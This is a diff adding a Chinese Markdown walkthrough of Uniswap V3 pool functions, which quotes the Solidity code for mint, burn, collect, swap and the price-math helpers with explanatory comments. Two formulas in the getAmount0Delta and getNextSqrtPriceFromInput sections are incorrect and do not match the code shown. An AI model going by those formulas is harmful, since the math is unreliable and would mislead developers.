+    require(amount > 0);
+    (, int256 amount0Int, int256 amount1Int) =
+        _modifyPosition(
+            ModifyPositionParams({
+                owner: recipient,
+                tickLower: tickLower,
+                tickUpper: tickUpper,
+                liquidityDelta: int256(amount).toInt128()
+            })
+        );
+
+    amount0 = uint256(amount0Int);
+    amount1 = uint256(amount1Int);
+
+    uint256 balance0Before;
+    uint256 balance1Before;
+    // 获取当前池中的 x token, y token 余额
+    if (amount0 > 0) balance0Before = balance0();
+    if (amount1 > 0) balance1Before = balance1();
+    // 将需要的 x token 和 y token 数量传给回调函数，这里预期回调函数会将指定数量的 token 发送到合约中
+    IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback(amount0, amount1, data);
+    // 回调完成后，检查发送至合约的 token 是否复合预期，如果不满足检查则回滚交易
+    if (amount0 > 0) require(balance0Before.add(amount0) <= balance0(), 'M0');
+    if (amount1 > 0) require(balance1Before.add(amount1) <= balance1(), 'M1');
+
+    emit Mint(msg.sender, recipient, tickLower, tickUpper, amount, amount0, amount1);
+}
+```
+
+相关代码
+
+- [modifier lock](#lock)
+- [IUniswapV3MintCallback.uniswapV3MintCallback](./NonfungiblePositionManager.md#uniswapV3MintCallback)
+- [Pool._modifyPosition](#_modifyPosition)
+- [Pool._updatePosition](#_updatePosition)
+
+### _modifyPosition
+
+修改position状态
+
+```solidity
+/// @dev Effect some changes to a position
+/// 对position做一些更改
+/// @param params the position details and the change to the position's liquidity to effect
+/// 修改position状态的参数
+/// @return position a storage pointer referencing the position with the given owner and tick range
+/// 返回一个指向position的指针，该指针储存在storage中
+/// position包含了拥有者，做市价格范围的信息
+/// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient
+/// 返回token0的数量，如果需要支付给接受者，则为负值
+/// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient
+/// 返回token1的数量，如果需要支付给接受者，则为负值
+/// noDelegateCall 禁止delegateCall方法调用
+function _modifyPosition(ModifyPositionParams memory params)
+    private
+    noDelegateCall
+    returns (
+        Position.Info storage position,
+        int256 amount0,
+        int256 amount1
+    )
+{
+    // 检查入参中的tickindex
+    // tickLower < tickUpper
+    // 两个tickindex不能超出最大和最小值
+    checkTicks(params.tickLower, params.tickUpper);
+
+    // 缓存slot0插槽数据
+    // 这里是做gas优化，下面需要多次调用slot0中的数据
+    // 从storage中提取到memory中读取可以节省gas
+    Slot0 memory _slot0 = slot0; // SLOAD for gas optimization
+
+    // 更新position状态
+    position = _updatePosition(
+        params.owner,
+        params.tickLower,
+        params.tickUpper,
+        params.liquidityDelta,
+        _slot0.tick
+    );
+
+    // 当流动性有变化
+    if (params.liquidityDelta != 0) {
+        // 当前价格 < 价格下限
+        if (_slot0.tick < params.tickLower) {
+            // current tick is below the passed range; liquidity can only become in range by crossing from left to
+            // right, when we'll need _more_ token0 (it's becoming more valuable) so user must provide it
+            // 当前价格 < 价格下限 添加流动性只能单独添加token0
+            amount0 = SqrtPriceMath.getAmount0Delta(
+                TickMath.getSqrtRatioAtTick(params.tickLower),
+                TickMath.getSqrtRatioAtTick(params.tickUpper),
+                params.liquidityDelta
+            );
+        } else if (_slot0.tick < params.tickUpper) {
+            // current tick is inside the passed range
+            // 当前价格 介于 价格上限和下限之间
+            // 这里只判断了 当前价格 < 上限 的情况，因为上一个if语句已经排除了比下限小的情况
+
+            // 缓存流动性数量
+            uint128 liquidityBefore = liquidity; // SLOAD for gas optimization
+
+            // write an oracle entry
+            // 向Oracle写入数据
+            (slot0.observationIndex, slot0.observationCardinality) = observations.write(
+                _slot0.observationIndex,
+                _blockTimestamp(),
+                _slot0.tick,
+                liquidityBefore,
+                _slot0.observationCardinality,
+                _slot0.observationCardinalityNext
+            );
+
+            // 计算token0和token1分别需要多少数量
+            amount0 = SqrtPriceMath.getAmount0Delta(
+                _slot0.sqrtPriceX96,
+                TickMath.getSqrtRatioAtTick(params.tickUpper),
+                params.liquidityDelta
+            );
+            amount1 = SqrtPriceMath.getAmount1Delta(
+                TickMath.getSqrtRatioAtTick(params.tickLower),
+                _slot0.sqrtPriceX96,
+                params.liquidityDelta
+            );
+
+            // 更新Pool的总流动性
+            // 当价格在价格区间中添加流动性才会更新Pool的liquidity总量，在区间外不会更新
+            liquidity = LiquidityMath.addDelta(liquidityBefore, params.liquidityDelta);
+        } else {
+            // current tick is above the passed range; liquidity can only become in range by crossing from right to
+            // left, when we'll need _more_ token1 (it's becoming more valuable) so user must provide it
+            // 当前价格 > 价格上限 添加流动性只能单独添加token1
+            amount1 = SqrtPriceMath.getAmount1Delta(
+                TickMath.getSqrtRatioAtTick(params.tickLower),
+                TickMath.getSqrtRatioAtTick(params.tickUpper),
+                params.liquidityDelta
+            );
+        }
+    }
+}
+```
+
+相关代码
+
+- [Pool._updatePosition](#_updatePosition)
+
+补充
+
+- [Uniswap v3 详解（二）：创建交易对/提供流动性 #从 token 数计算流动性 L](https://liaoph.com/uniswap-v3-2/#%E4%BB%8E-token-%E6%95%B0%E8%AE%A1%E7%AE%97%E6%B5%81%E5%8A%A8%E6%80%A7-l)
+
+### _updatePosition
+
+```solidity
+/// @dev Gets and updates a position with the given liquidity delta
+/// @param owner the owner of the position
+/// @param tickLower the lower tick of the position's tick range
+/// @param tickUpper the upper tick of the position's tick range
+/// @param tick the current tick, passed to avoid sloads
+function _updatePosition(
+    address owner,
+    int24 tickLower,
+    int24 tickUpper,
+    int128 liquidityDelta,
+    int24 tick
+) private returns (Position.Info storage position) {
+    // 获取用户的position （流动性头寸）
+    position = positions.get(owner, tickLower, tickUpper);
+
+    // 缓存token0和token1的手续费（Pool的总手续费，所有position的总和）
+    uint256 _feeGrowthGlobal0X128 = feeGrowthGlobal0X128; // SLOAD for gas optimization
+    uint256 _feeGrowthGlobal1X128 = feeGrowthGlobal1X128; // SLOAD for gas optimization
+
+    // if we need to update the ticks, do it
+    // 若有必要，更新ticks数据
+    // flippedLower/upper 表示该tick更新后，激活状态是否改变
+    bool flippedLower;
+    bool flippedUpper;
+    // 如果流动性数量有变化 更新tick数据
+    if (liquidityDelta != 0) {
+        uint32 time = _blockTimestamp();
+        // 更新Oracle数据
+        (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) =
+            observations.observeSingle(
+                time,
+                0,
+                slot0.tick,
+                slot0.observationIndex,
+                liquidity,
+                slot0.observationCardinality
+            );
+
+        // 更新tick数据，返回flipped 作为价格下限更新
+        flippedLower = ticks.update(
+            tickLower,
+            tick,
+            liquidityDelta,
+            _feeGrowthGlobal0X128,
+            _feeGrowthGlobal1X128,
+            secondsPerLiquidityCumulativeX128,
+            tickCumulative,
+            time,
+            false,
+            maxLiquidityPerTick
+        );
+        // 更新tick数据，返回flipped 作为价格上限更新
+        flippedUpper = ticks.update(
+            tickUpper,
+            tick,
+            liquidityDelta,
+            _feeGrowthGlobal0X128,
+            _feeGrowthGlobal1X128,
+            secondsPerLiquidityCumulativeX128,
+            tickCumulative,
+            time,
+            true,
+            maxLiquidityPerTick
+        );
+
+        // 如果该 tick 第一次被引用，或者移除了所有引用（flipped）
+        // 更新tick位图
+        if (flippedLower) {
+            tickBitmap.flipTick(tickLower, tickSpacing);
+        }
+        if (flippedUpper) {
+            tickBitmap.flipTick(tickUpper, tickSpacing);
+        }
+    }
+
+    // 计算token0和token1的feeInside 即 position应得的手续费
+    (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) =
+        ticks.getFeeGrowthInside(tickLower, tickUpper, tick, _feeGrowthGlobal0X128, _feeGrowthGlobal1X128);
+
+    // 更新position状态 流动性 手续费
+    position.update(liquidityDelta, feeGrowthInside0X128, feeGrowthInside1X128);
+
+    // clear any tick data that is no longer needed
+    // 如果流动性变化量 < 0 清除tick数据
+    if (liquidityDelta < 0) {
+        if (flippedLower) {
+            ticks.clear(tickLower);
+        }
+        if (flippedUpper) {
+            ticks.clear(tickUpper);
+        }
+    }
+}
+```
+
+相关代码
+
+- [observations.observeSingle](./Oracle.md#observeSingle)
+- [ticks.update](./Tick.md#update)
+- [ticks.getFeeGrowthInside](./Tick.md#getFeeGrowthInside)
+- [ticks.clear](./Tick.md#clear)
+
+### burn
+
+移除(position的)流动性
+注意`burn()`只是移除流动性，转为token，并未将token发送回给用户
+
+```solidity
+/// @inheritdoc IUniswapV3PoolActions
+/// @dev noDelegateCall is applied indirectly via _modifyPosition
+/// 由于_modifyPosition 使用了 noDelegateCall 修饰符，所以这里也有同样的限制
+function burn(
+    int24 tickLower,
+    int24 tickUpper,
+    uint128 amount
+) external override lock returns (uint256 amount0, uint256 amount1) {
+    // 函数入参amount >= 0 传入 _modifyPosition 需要加负号
+    (Position.Info storage position, int256 amount0Int, int256 amount1Int) =
+        _modifyPosition(
+            ModifyPositionParams({
+                owner: msg.sender,
+                tickLower: tickLower,
+                tickUpper: tickUpper,
+                liquidityDelta: -int256(amount).toInt128()
+            })
+        );
+
+    // amount0Int < 0 此处需要反号
+    amount0 = uint256(-amount0Int);
+    amount1 = uint256(-amount1Int);
+
+    // 在用户position上记录增加token数量
+    // 注意burn只是移除流动性，转为token，并未将token发送回给用户
+    if (amount0 > 0 || amount1 > 0) {
+        (position.tokensOwed0, position.tokensOwed1) = (
+            position.tokensOwed0 + uint128(amount0),
+            position.tokensOwed1 + uint128(amount1)
+        );
+    }
+
+    emit Burn(msg.sender, tickLower, tickUpper, amount, amount0, amount1);
+}
+```
+
+相关函数
+
+- [modifier lock](#lock)
+- [_modifyPosition](#_modifyPosition)
+
+### collect
+
+回收position中的手续费，并转给接收者
+
+```solidity
+/// @inheritdoc IUniswapV3PoolActions
+function collect(
+    address recipient,
+    int24 tickLower,
+    int24 tickUpper,
+    uint128 amount0Requested, // 期望回收的手续费数量
+    uint128 amount1Requested
+) external override lock returns (uint128 amount0, uint128 amount1) {
+    // we don't need to checkTicks here, because invalid positions will never have non-zero tokensOwed{0,1}
+    // 这里不需要做tick检查 因为非法的position是不可能拥有tokenOwned
+    Position.Info storage position = positions.get(msg.sender, tickLower, tickUpper);
+
+    // 当position tokensOwed余额 < 期望数值 取出 余额
+    amount0 = amount0Requested > position.tokensOwed0 ? position.tokensOwed0 : amount0Requested;
+    amount1 = amount1Requested > position.tokensOwed1 ? position.tokensOwed1 : amount1Requested;
+
+    if (amount0 > 0) {
+        position.tokensOwed0 -= amount0;
+        TransferHelper.safeTransfer(token0, recipient, amount0);
+    }
+    if (amount1 > 0) {
+        position.tokensOwed1 -= amount1;
+        TransferHelper.safeTransfer(token1, recipient, amount1);
+    }
+
+    emit Collect(msg.sender, recipient, tickLower, tickUpper, amount0, amount1);
+}
+```
+
+相关代码
+
+- [modifier lock](#lock)
+
+### swap
+
+交易函数
+
+#### flashswap
+
+- 因为swap函数在计算完实际的交易数量之后，Pool会先将输出函数转给接收者，然后由调用者实现的回调函数中，将输入token转给Pool
+- 由于回调函数是由调用者实现，所以实际上每次交易都是一次闪电贷，因为接收者会先接受输出token，然后再支付输入token，而这期间输出token是可以直接使用的
+- 即 接收者先借出 `tokenOut` 最后归还 `tokenIn` ， 实现了借出和归还不同币种的闪电贷
+
+```solidity
+/// @inheritdoc IUniswapV3PoolActions
+function swap(
+    address recipient,          // 交易输出token的接收者
+    bool zeroForOne,            // 交易方向
+    int256 amountSpecified,     // 输入的token数量
+    uint160 sqrtPriceLimitX96,  // 交易的价格限制（超出即停止交易）
+    bytes calldata data         // 回调函数的入参数据
+) external override noDelegateCall returns (int256 amount0, int256 amount1) {
+    require(amountSpecified != 0, 'AS');
+
+    // 优化gas消耗 将storage中的slot0缓存入memory，对memory的读写比storage便宜
+    Slot0 memory slot0Start = slot0;
+
+    // 防止重入攻击
+    require(slot0Start.unlocked, 'LOK');
+    // zeroForOne 代表了交易方向 true  输入x输出y, false 输入y输出x
+    require(
+        zeroForOne
+            ? sqrtPriceLimitX96 < slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 > TickMath.MIN_SQRT_RATIO
+            : sqrtPriceLimitX96 > slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 < TickMath.MAX_SQRT_RATIO,
+        'SPL'
+    );
+
+    // 作用和 modifier lock 一样
+    // 1. 这里的 slot0.unlocked 是修改的storage 
+    // 2. 这里不直接使用modifier lock，因为上一个断言可能不通过
+    //    如果使用modifier lock 会先执行storage的状态修改，造成不必要的gas消耗
+    slot0.unlocked = false;
+
+    // 缓存交易相关的全局状态
+    SwapCache memory cache =
+        SwapCache({
+            // 当前Pool可用的总流动性
+            liquidityStart: liquidity,
+            blockTimestamp: _blockTimestamp(),
+            // 协议手续费率的存储结构是 由 4 位 反方向的费率数值 + 4 位正方向的费率数值组成
+            // 即 0000 + 0000 共8位的结构，参见 slot0.feeProtocol
+            feeProtocol: zeroForOne ? (slot0Start.feeProtocol % 16) : (slot0Start.feeProtocol >> 4),
+            // t / max(1,liquidity) 的加权累计值
+            secondsPerLiquidityCumulativeX128: 0,
+            // t * tickIndex 的加权累计值
+            tickCumulative: 0,
+            // 是否获取过最新的Oracle数据 只获取一次
+            computedLatestObservation: false
+        });
+
+    // exactInput还是exactOutinput
+    bool exactInput = amountSpecified > 0;
+
+    // 缓存分步执行交易的状态
+    SwapState memory state =
+        SwapState({
+            // 输入的token数量
+            amountSpecifiedRemaining: amountSpecified,
+            // 已计算交易的输入数量
+            amountCalculated: 0,
+            // 当前交易价格
+            sqrtPriceX96: slot0Start.sqrtPriceX96,
+            // 当前tickindex
+            tick: slot0Start.tick,
+            // 全局费feeGrowth 手续费从输入的token中扣除
+            feeGrowthGlobalX128: zeroForOne ? feeGrowthGlobal0X128 : feeGrowthGlobal1X128,
+            // 协议费率
+            protocolFee: 0,
+            // 当前可用的流动性（当前处于激活状态的position总和）
+            liquidity: cache.liquidityStart
+        });
+
+    // continue swapping as long as we haven't used the entire input/output and haven't reached the price limit
+    // 不断的分步执行交易直到输入token耗尽或达到了价格限制
+    while (state.amountSpecifiedRemaining != 0 && state.sqrtPriceX96 != sqrtPriceLimitX96) {
+        StepComputations memory step;
+
+        // 该步的起始价格
+        step.sqrtPriceStartX96 = state.sqrtPriceX96;
+
+        // 在bitmap的当前word上寻找下一个已初始化的tick
+        // 若当前word没有已初始化的tick 返回word的边界
+        (step.tickNext, step.initialized) = tickBitmap.nextInitializedTickWithinOneWord(
+            state.tick,
+            tickSpacing,
+            zeroForOne
+        );
+
+        // ensure that we do not overshoot the min/max tick, as the tick bitmap is not aware of these bounds
+        // 确认我们没有超出最大/最小的tickindex,因为已经超出了bitmap的边界
+        if (step.tickNext < TickMath.MIN_TICK) {
+            step.tickNext = TickMath.MIN_TICK;
+        } else if (step.tickNext > TickMath.MAX_TICK) {
+            step.tickNext = TickMath.MAX_TICK;
+        }
+
+        // get the price for the next tick
+        // 通过tickNext获取下一个价格点
+        step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.tickNext);
+
+        // compute values to swap to the target tick, price limit, or point where input/output amount is exhausted
+        // 具体计算该步交易的函数，返回交易后的价格，消耗的输入token，和交换出的输出token
+        (state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath.computeSwapStep(
+            state.sqrtPriceX96,
+            (zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96)
+                ? sqrtPriceLimitX96
+                : step.sqrtPriceNextX96,
+            state.liquidity,
+            state.amountSpecifiedRemaining,
+            fee
+        );
+
+        // 将输入输出累计到交易状态缓存
+        if (exactInput) {
+            state.amountSpecifiedRemaining -= (step.amountIn + step.feeAmount).toInt256();
+            state.amountCalculated = state.amountCalculated.sub(step.amountOut.toInt256());
+        } else {
+            state.amountSpecifiedRemaining += step.amountOut.toInt256();
+            state.amountCalculated = state.amountCalculated.add((step.amountIn + step.feeAmount).toInt256());
+        }
+
+        // if the protocol fee is on, calculate how much is owed, decrement feeAmount, and increment protocolFee
+        // 若开启了协议费，从手续费中分出协议费用
+        if (cache.feeProtocol > 0) {
+            uint256 delta = step.feeAmount / cache.feeProtocol;
+            step.feeAmount -= delta;
+            state.protocolFee += uint128(delta);
+        }
+
+        // update global fee tracker
+        // 更新全局手续费的计算值 即每单流动性手续费的总和 (feeGrowth * 整体流动性 = 所有的手续费)
+        if (state.liquidity > 0)
+            state.feeGrowthGlobalX128 += FullMath.mulDiv(step.feeAmount, FixedPoint128.Q128, state.liquidity);
+
+        // shift tick if we reached the next price
+        // 当交易价格触及下一个tick 需要将目标价格移动
+        if (state.sqrtPriceX96 == step.sqrtPriceNextX96) {
+            // if the tick is initialized, run the tick transition
+            // 如果当前目标价格已初始化 需要更新tick上的数据
+            if (step.initialized) {
+                // check for the placeholder value, which we replace with the actual value the first time the swap
+                // 检查本次交易是否更新过Oracle数据 没有则在第一次分步交易时更新
+                // crosses an initialized tick
+                // 这里价格跨过了一个已初始化的tick(有流动性)
+                if (!cache.computedLatestObservation) {
+                    // 读取Oracle最近的一次数据
+                    (cache.tickCumulative, cache.secondsPerLiquidityCumulativeX128) = observations.observeSingle(
+                        cache.blockTimestamp,
+                        0,
+                        slot0Start.tick,
+                        slot0Start.observationIndex,
+                        cache.liquidityStart,
+                        slot0Start.observationCardinality
+                    );
+                    // 将缓存状态改为已加载Oracle数据
+                    cache.computedLatestObservation = true;
+                }
+                // 价格穿过tick，更新tick数据，得到tick上的流动性净值
+                // (用于价格变化时，计算当前已激活的总流动性)
+                int128 liquidityNet =
+                    ticks.cross(
+                        step.tickNext,
+                        (zeroForOne ? state.feeGrowthGlobalX128 : feeGrowthGlobal0X128),
+                        (zeroForOne ? feeGrowthGlobal1X128 : state.feeGrowthGlobalX128),
+                        cache.secondsPerLiquidityCumulativeX128,
+                        cache.tickCumulative,
+                        cache.blockTimestamp
+                    );
+                // if we're moving leftward, we interpret liquidityNet as the opposite sign
+                // 如果价格向左移动（变小），需要反号
+                // safe because liquidityNet cannot be type(int128).min
+                if (zeroForOne) liquidityNet = -liquidityNet;
+
+                // 当前激活的总流动性 + 流动性净值 (即为更新后的总流动性)
+                state.liquidity = LiquidityMath.addDelta(state.liquidity, liquidityNet);
+            }
+
+            // 更新 tick 的值，使得下一次循环时让 tickBitmap 进入下一个 word 中查询
+            // 这里zeroForOne为false时没有+1是因为向右寻找时会+1
+            // 具体可参考 nextInitializedTickWithinOneWord 的代码
+            state.tick = zeroForOne ? step.tickNext - 1 : step.tickNext;
+        } else if (state.sqrtPriceX96 != step.sqrtPriceStartX96) {
+            // recompute unless we're on a lower tick boundary (i.e. already transitioned ticks), and haven't moved
+            // 价格没有越过目标tick 需要重新通过价格计算tick的索引值
+            state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96);
+        }
+    }
+
+    // update tick and write an oracle entry if the tick change
+    // 如果分步交易循环完成之后 tick index发生变化，需要向Oracle写入新数据
+    if (state.tick != slot0Start.tick) {
+        (uint16 observationIndex, uint16 observationCardinality) =
+            observations.write(
+                slot0Start.observationIndex,
+                cache.blockTimestamp,
+                slot0Start.tick,
+                cache.liquidityStart,
+                slot0Start.observationCardinality,
+                slot0Start.observationCardinalityNext
+            );
+        (slot0.sqrtPriceX96, slot0.tick, slot0.observationIndex, slot0.observationCardinality) = (
+            state.sqrtPriceX96,
+            state.tick,
+            observationIndex,
+            observationCardinality
+        );
+    } else {
+        // otherwise just update the price
+        // 否则只更新slot0的价格(此时交易在bitmap的同一个word内完成)
+        slot0.sqrtPriceX96 = state.sqrtPriceX96;
+    }
+
+    // update liquidity if it changed
+    // 更新当前激活状态的所有流动性
+    if (cache.liquidityStart != state.liquidity) liquidity = state.liquidity;
+
+    // update fee growth global and, if necessary, protocol fees
+    // 更新全局的交易手续费 若有必要 更新协议手续费
+    // overflow is acceptable, protocol has to withdraw before it hits type(uint128).max fees
+    // 溢出是可以接受的，协议手续费必须在达到 type(uint128).max 之前取出
+    if (zeroForOne) {
+        feeGrowthGlobal0X128 = state.feeGrowthGlobalX128;
+        if (state.protocolFee > 0) protocolFees.token0 += state.protocolFee;
+    } else {
+        feeGrowthGlobal1X128 = state.feeGrowthGlobalX128;
+        if (state.protocolFee > 0) protocolFees.token1 += state.protocolFee;
+    }
+
+    // 返回交易实际的输入和输出数量
+    (amount0, amount1) = zeroForOne == exactInput
+        ? (amountSpecified - state.amountSpecifiedRemaining, state.amountCalculated)
+        : (state.amountCalculated, amountSpecified - state.amountSpecifiedRemaining);
+
+    // do the transfers and collect payment
+    // 将交易输出转给接收者
+    if (zeroForOne) {
+        if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1));
+
+        uint256 balance0Before = balance0();
+        // 调用回调函数 回调函数需要将输入token转给Pool
+        IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);
+        // 检查输入token转入数量
+        require(balance0Before.add(uint256(amount0)) <= balance0(), 'IIA');
+    } else {
+        if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0));
+
+        uint256 balance1Before = balance1();
+        IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);
+        require(balance1Before.add(uint256(amount1)) <= balance1(), 'IIA');
+    }
+
+    emit Swap(msg.sender, recipient, amount0, amount1, state.sqrtPriceX96, state.liquidity, state.tick);
+    slot0.unlocked = true;
+}
+```
+
+相关代码
+
+- [modifier lock](#lock)
+- [state slot0](#slot0)
+- [struct StepComputations](#StepComputations)
+- [tickBitMap.nextInitializedTickWithinOneWord](./Tick.md#nextInitializedTickWithinOneWord)
+- [Pool.computeSwapStep](#computeSwapStep)
+- [observations.observeSingle](./Oracle.md#observeSingle)
+- [observations.write](./Oracle.md#write)
+
+### checkTicks
+
+检查tickindex是否非法（不能超过上下限）
+
+```solidity
+/// @dev Common checks for valid tick inputs.
+function checkTicks(int24 tickLower, int24 tickUpper) private pure {
+    require(tickLower < tickUpper, 'TLU');
+    require(tickLower >= TickMath.MIN_TICK, 'TLM');
+    require(tickUpper <= TickMath.MAX_TICK, 'TUM');
+}
+```
+
+### computeSwapStep
+
+用于swap函数的分步交易，计算具体的输入输出数量以及交易后的价格
+
+```solidity
+/// @notice Computes the result of swapping some amount in, or amount out, given the parameters of the swap
+/// @dev The fee, plus the amount in, will never exceed the amount remaining if the swap's `amountSpecified` is positive
+/// @param sqrtRatioCurrentX96 The current sqrt price of the pool
+/// @param sqrtRatioTargetX96 The price that cannot be exceeded, from which the direction of the swap is inferred
+/// @param liquidity The usable liquidity
+/// @param amountRemaining How much input or output amount is remaining to be swapped in/out
+/// @param feePips The fee taken from the input amount, expressed in hundredths of a bip
+/// @return sqrtRatioNextX96 The price after swapping the amount in/out, not to exceed the price target
+/// @return amountIn The amount to be swapped in, of either token0 or token1, based on the direction of the swap
+/// @return amountOut The amount to be received, of either token0 or token1, based on the direction of the swap
+/// @return feeAmount The amount of input that will be taken as a fee
+function computeSwapStep(
+    uint160 sqrtRatioCurrentX96,
+    uint160 sqrtRatioTargetX96,
+    uint128 liquidity,
+    int256 amountRemaining,
+    uint24 feePips
+)
+    internal
+    pure
+    returns (
+        uint160 sqrtRatioNextX96,
+        uint256 amountIn,
+        uint256 amountOut,
+        uint256 feeAmount
+    )
+{
+    bool zeroForOne = sqrtRatioCurrentX96 >= sqrtRatioTargetX96;
+    bool exactIn = amountRemaining >= 0;
+
+    if (exactIn) {
+        // 刨除手续费之后的输入数量 (以1e6为100%, feePips是费率)
+        uint256 amountRemainingLessFee = FullMath.mulDiv(uint256(amountRemaining), 1e6 - feePips, 1e6);
+        // 通过deltaPrice（当前价格到目标价格的差）和流动性L计算deltaX
+        amountIn = zeroForOne
+            ? SqrtPriceMath.getAmount0Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, true)
+            : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, true);
+        
+        // 如果刨除手续费之后的输入 >= 计算得出能够交换的数量 (输入仍未被耗尽)
+        // 下个价格点即为目标价格
+        if (amountRemainingLessFee >= amountIn) sqrtRatioNextX96 = sqrtRatioTargetX96;
+        else
+            // 如果输出被耗尽，需要重新计算交易停止的价格点
+            sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromInput(
+                sqrtRatioCurrentX96,
+                liquidity,
+                amountRemainingLessFee,
+                zeroForOne
+            );
+    } else {
+        // exactOut 的情况类似
+        amountOut = zeroForOne
+            ? SqrtPriceMath.getAmount1Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, false)
+            : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, false);
+        if (uint256(-amountRemaining) >= amountOut) sqrtRatioNextX96 = sqrtRatioTargetX96;
+        else
+            sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromOutput(
+                sqrtRatioCurrentX96,
+                liquidity,
+                uint256(-amountRemaining),
+                zeroForOne
+            );
+    }
+
+    // max 交易后的价格是否达到了下一个tick对应的价格
+    // 即判断交易价格是否越过了tickNext
+    bool max = sqrtRatioTargetX96 == sqrtRatioNextX96;
+
+    // get the input/output amounts
+    if (zeroForOne) {
+        amountIn = max && exactIn
+            ? amountIn
+            : SqrtPriceMath.getAmount0Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, true);
+        amountOut = max && !exactIn
+            ? amountOut
+            : SqrtPriceMath.getAmount1Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, false);
+    } else {
+        amountIn = max && exactIn
+            ? amountIn
+            : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, true);
+        amountOut = max && !exactIn
+            ? amountOut
+            : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, false);
+    }
+
+    // cap the output amount to not exceed the remaining output amount
+    // 当处于 exactOutinput 调用时，需要将输出反号（入参的amountRemaining是负数）
+    if (!exactIn && amountOut > uint256(-amountRemaining)) {
+        amountOut = uint256(-amountRemaining);
+    }
+
+    if (exactIn && sqrtRatioNextX96 != sqrtRatioTargetX96) {
+        // we didn't reach the target, so take the remainder of the maximum input as fee
+        // 当该步交易没有越过下一个tick时，将剩余的输入token作为手续费
+        feeAmount = uint256(amountRemaining) - amountIn;
+    } else {
+        // 当该步交易越过下一个tick时，使用费率计算手续费
+        // 注意这里分母是 1e6 - feePips 不是 1e6
+        // 因为此时amountIn是由amountRemainingLessFee计算而来，而amountRemainingLessFee已经在最开始刨除了手续费
+        feeAmount = FullMath.mulDivRoundingUp(amountIn, feePips, 1e6 - feePips);
+    }
+}
+```
+
+相关代码
+
+- [getAmount0Delta](#getAmount0Delta)
+- [getNextSqrtPriceFromInput](#getNextSqrtPriceFromInput)
+
+补充
+
+- [Uniswap v3 详解（三）：交易过程#拆分后的交易计算](https://liaoph.com/uniswap-v3-3/#%E6%8B%86%E5%88%86%E5%90%8E%E7%9A%84%E4%BA%A4%E6%98%93%E8%AE%A1%E7%AE%97)
+
+### getAmount0Delta
+
+通过价格差Δ√P和流动性L计算 ΔX (token0)
+
+```math
+Δx=1/(Δ√P⋅L)
+Δy=Δ√P⋅L
+```
+
+```solidity
+/// @notice Gets the amount0 delta between two prices
+/// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper),
+/// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower))
+/// @param sqrtRatioAX96 A sqrt price
+/// @param sqrtRatioBX96 Another sqrt price
+/// @param liquidity The amount of usable liquidity
+/// @param roundUp Whether to round the amount up or down
+/// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices
+function getAmount0Delta(
+    uint160 sqrtRatioAX96,
+    uint160 sqrtRatioBX96,
+    uint128 liquidity,
+    bool roundUp
+) internal pure returns (uint256 amount0) {
+    // A,B价格排序
+    if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
+
+    // FixedPoint96.RESOLUTION 为 96
+    // 因为价格是 96位定点数，所以liquidity需要左移96位
+    uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;
+    uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96;
+
+    // A,B 价格都要大于0 (B>A)
+    require(sqrtRatioAX96 > 0);
+
+    // 价格向上入：若不能整除则结果+1
+    // 价格向下舍：若不能整除则结果取整数
+    return
+        roundUp
+            ? UnsafeMath.divRoundingUp(
+                FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96),
+                sqrtRatioAX96
+            )
+            : FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96;
+}
+```
+
+### getNextSqrtPriceFromInput
+
+通过输入的token数量和流动性L计算交易后的价格
+
+```math
+√Pn = L√Pc / (L · Δx√Pc)
+```
+
+```solidity
+/// @notice Gets the next sqrt price given an input amount of token0 or token1
+/// @dev Throws if price or liquidity are 0, or if the next price is out of bounds
+/// @param sqrtPX96 The starting price, i.e., before accounting for the input amount
+/// @param liquidity The amount of usable liquidity
+/// @param amountIn How much of token0, or token1, is being swapped in
+/// @param zeroForOne Whether the amount in is token0 or token1
+/// @return sqrtQX96 The price after adding the input amount to token0 or token1
+function getNextSqrtPriceFromInput(
+    uint160 sqrtPX96,
+    uint128 liquidity,
+    uint256 amountIn,
+    bool zeroForOne
+) internal pure returns (uint160 sqrtQX96) {
+    require(sqrtPX96 > 0);
+    require(liquidity > 0);
+
+    // round to make sure that we don't pass the target price
+    return
+        zeroForOne
+            ? getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountIn, true)
+            : getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountIn, true);
+}
+```
+
